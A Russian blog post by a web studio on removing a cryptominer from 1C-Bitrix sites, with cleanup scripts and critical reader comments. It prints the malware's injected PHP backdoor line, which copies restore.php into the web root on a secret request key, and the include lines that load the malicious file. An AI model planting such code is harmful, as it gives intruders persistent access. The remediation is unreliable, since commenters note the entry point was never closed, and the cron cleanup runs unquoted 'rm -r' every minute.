Здравствуйте! Мы — веб-студия Bquadro и на прошлой неделе мы боролись с вирусами на сайтах наших клиентов.
Точнее, вирус был один, но он поразил сразу несколько сайтов. Среди них были как только что опубликованные, так и проекты с 5-летней историей. Общее среди них было только одно: они разрабатывались на 1C-Битрикс.
В процесса разбора проблемы мы прошерстили интернет и наткнулись на разного рода статьи по этой тематике. Где-то пишут, что эта проблема раньше была, но сейчас ее нет (такого же мнения придерживается 1С-Битрикс), кто-то (как мы) столкнулись с ней недавно и у них нет точной инструкции по решению вопроса.
В этой статье — результат работы нескольких дней. Здесь кратко и, надеемся, понятно и наглядно сформулировано все, что нам удалось найти по этой теме. Все, что написано в статье мы проверили опытным путем на своих сайтах, также добавили готовый скрипт по поиску и удалению вируса.
Итак, представьте ситуацию: вы открываете сайт, а вам “навстречу” во весь экран вылетает рекламное окно с призывом “МОНЕТИЗИРУЙТЕ ЭТО” (на английском). Окно видят все: и администраторы сайта, и пользователи.
Знакомьтесь — это вирус-майнер.
Мы столкнулись с ним на прошлой неделе. Сайты, которые находятся у нас на поддержке, заразились вирусом-майнером. И баннер оказался лишь верхушкой айсберга.
Что и зачем делает вирус-майнер
Цель распространителей вируса — майнинг или, по-другому, процесс генерирования криптовалюты, с помощью вычислительных мощностей компьютеров посетителей зараженных сайтов.
После проникновения в систему, вредоносный код начинает отображать рекламный баннер, загружать вычислениями компьютеры посетителей и блокирует контактные формы на зараженном сайте (по крайней мере, у нас было именно так).
Сами компьютеры этот вирус не заражает. Но из-за нагрузки на процессор, при открытом зараженном сайте, компьютер пользователя работает в разы медленнее. Скорость открытия сайта также значительно снижается.
Помимо этого вирус копируется в системные файлы CMS Битрикс и восстанавливает сам себя при удалении видимой части вирусного кода со страниц сайта.
И, самое “вкусное”, то что делает этот вирус практически незаметным и неубиваемым:
кроме ОДНОГО показа баннера, он себя никак не проявляет. На второй и последующие открытия зараженного сайта с одного и того же компьютера, баннер перестает показываться и визуально определить, что сайт заражен становится сложнее (при этом, он все также использует мощности компьютера пользователя). В некоторых случаях он вообще “тихонько сидит” внутри сайта и ждет своего часа. А еще большинство антивирусов его не “видят”.
Отдельно отметим: вирус постоянно модифицируется. В конкретно вашей ситуации он может вести себя по другому, но общие правила поведения майнера, как мы выяснили, не меняются.
Решение
В первую очередь мы сделали основное:
- еще раз проверили сайты несколькими антивирусниками (в том числе серверным);
- начали вручную искать тот самый вирусный код на страницах сайта.
Естественно, этот код был найден и сразу же удален. Но, проблему это не решило. (Вспоминаем, что он восстанавливает сам себя при удалении видимой части вирусного кода со страниц сайта).
После того, как мы промониторили наши сайты, получили консультацию 1С-Битрикса, изучили статьи, кейсы, мнения коллег с форумов, выяснилось следующее: вирус проник на сайт через стандартный модуль Битрикса “Погода” (он поставляется внутри дистрибутива Битрикс по умолчанию). При этом, удаление модуля не помогает: вирус восстанавливает не только себя, но и модуль “Погода”.
Это стало основной проблемой. Для того, чтобы ее решить, потребовался методичный поиск файлов CMS по дате модификации и удаление кода вируса из внутренних файлов вручную.
В чем еще выражалось заражение:
- Наличие ошибок в логах и не работали ajax запросы
PHP Fatal error: ob_start(): Cannot use output buffering in output buffering display handlers in /var/www/promelspb/data/www/promelspb.ru/bitrix/modules/main/lib/data/cache.php on line 346
- Ошибка буферизации вызывалась по стеку:
- в методе CAllMain::PrologActions
далее - в методе CModule::ExecuteModuleEventEx для события “OnEndBufferСontent”
далее - в файле /bitrix/gadgets/bitrix/weather/lang/ru/exec/include.php — это и есть вирус
- в методе CAllMain::PrologActions
А вот что оставил майнер в файле /bitrix/gadgets/bitrix/weather/lang/ru/exec/include.php :
Подробная инструкция
- Находим и удаляем файлы:
/bitrix/js/main/core/core_loader.js /bitrix/js/main/core/core_tasker.js /bitrix/tools/check_files.php /bitrix/gadgets/bitrix/weather/ /bitrix/modules/main/include.backup /bitrix/modules/main/include.php.backup /restore.php
- Файл /bitrix/modules/main/include.php обновляем из исходников через
/bitrix/admin/update_system.php?BX_SUPPORT_MODE=Y
Если обновление не помогло (дата изменения файла осталось прежним), удаляем вручную код:
include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec"."/include.php"
include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php"
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php"
if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}};
Для автоматизации в случае заражения множества сайтов внутри виртуальной машины Bitrix мы написали скрипт для удаления вирусных файлов и вирусного кода из рабочих файлов:
#!/bin/bash
echo "Check sites from file $1"
while read line; do
rm -r $line/bitrix/gadgets/bitrix/weather/
rm -r $line/bitrix/modules/main/install/gadgets/bitrix/weather/
rm -r $line/bitrix/tools/check_files.php
rm -r $line/bitrix/js/main/core/core_loader.js
rm -r $line/bitrix/js/main/core/core_tasker.js
rm -r $line/bitrix/modules/main/include.backup
rm -r $line/bitrix/modules/main/include.php.backup
rm -r $line/restore.php
done < $1
echo "OK"
echo "Remove virus from include.php"
php /home/bitrix/ext_www/replace_virus.php > /dev/null
echo "OK"
exit 0
Скрипт нужно разместить в каталоге /bin/ под названием find_virus или по вашему желанию.
Выполнение в консоли: find_virus /home/bitrix/ext_www/sites.txt где, /home/bitrix/ext_www/sites.txt — файл со списком путей к сайтам.
Пример файла sites.txt:Пример команды crontab:
/home/bitrix/ext_www/example1.com
/home/bitrix/ext_www/example2.com
/home/bitrix/ext_www/example3.com
Скрипт find_virus можно добавить в crontab, и, даже, если в очередной раз вирус появится, он будет удален автоматически.
* * * * * /bin/find_virus /home/bitrix/ext_www/sites.txt > /dev/null
Для удаления вредоносного кода написали на скорую руку PHP-скрипт, который включен в файл find_virus.
Файл virus_replace.php нужно расположить в /home/bitrix/ext_www/virus_replace.php
<?php foreach (new DirectoryIterator(__DIR__) as $fileInfo) { if($fileInfo->isDot()) continue; if($fileInfo->isFile()) continue; $file_path = $fileInfo->getPath().'/'.$fileInfo->getFilename() . "/bitrix/modules/main/include.php"; if(file_exists($file_path)){ $contents = file_get_contents($file_path); $contents = str_replace('if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}};', '', $contents); $contents = str_replace('include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec"."/include.php");', '', $contents); //print $contents;die(); file_put_contents($file_path, $contents); } }
На данный момент все сайты наших клиентов (даже те, где вирус себя не проявил) здоровы и находятся в безопасности.
По результатам нашей работы мы составили подробное описание зараженных вирусом файлов, логики его работы и отправили данный отчет в службу поддержки Битрикс, чтобы они учли содержащиеся в CMS уязвимости и выпустили необходимые обновления.
Напоминаем: вирус работает скрытно. Поэтому рекомендуем заглянуть в код ваших сайтов, на всякий случай!
Комментарии (7)
lowtechomega
30.08.2019 11:17Подробностей вообще 0. Что за майнер, coinhive уже почил давно и не работает.
Интересно что беглый поиск по инету показал сразу несколько сайтов практически с идентичным вашему материалом. Вот например marketplace.1c-bitrix.ru/blog/remove-virus-miner-from-the-site-to-1cbitrix и вот itinfinity.ru/blog/378
?js/coinminer (речь именно о нем) «These activities commonly include establishing remote access connections, capturing keyboard input, collecting system information, downloading/uploading files, dropping other malware into the infected system, performing denial-of-service (DoS) attacks, and running/terminating processes.»
Metotron0
30.08.2019 11:50+2Если удаление пришлось добавить в крон, значит дыра не закрыта. Если дыра на месте, значит может прийти и другая зараза, в другое место. В связи с этим, странно считать, что сайты в безопасности, вычищая лишь одно место, куда селится одна из зараз.
yurisv3
30.08.2019 11:51Ржачно.
Готов огрести, но от ржаки удержаться не могу, хоть режьте. Поколение смузи в коворкинге, Битрикс, удаление модуля не помогает, изучили кейсы,… вот это все вот
vilgeforce
30.08.2019 11:52+1Вы проделали сильно меньше половины того, что нужно было. А именно — вы не выяснили как вирье попадает на сайт. И после этого вы утверждаете что «все сайты наших клиентов… находятся в безопасности»? Очень странный подход…
friday
Как-то странно видеть слова "битрикс" и "безопасность" в одной статье.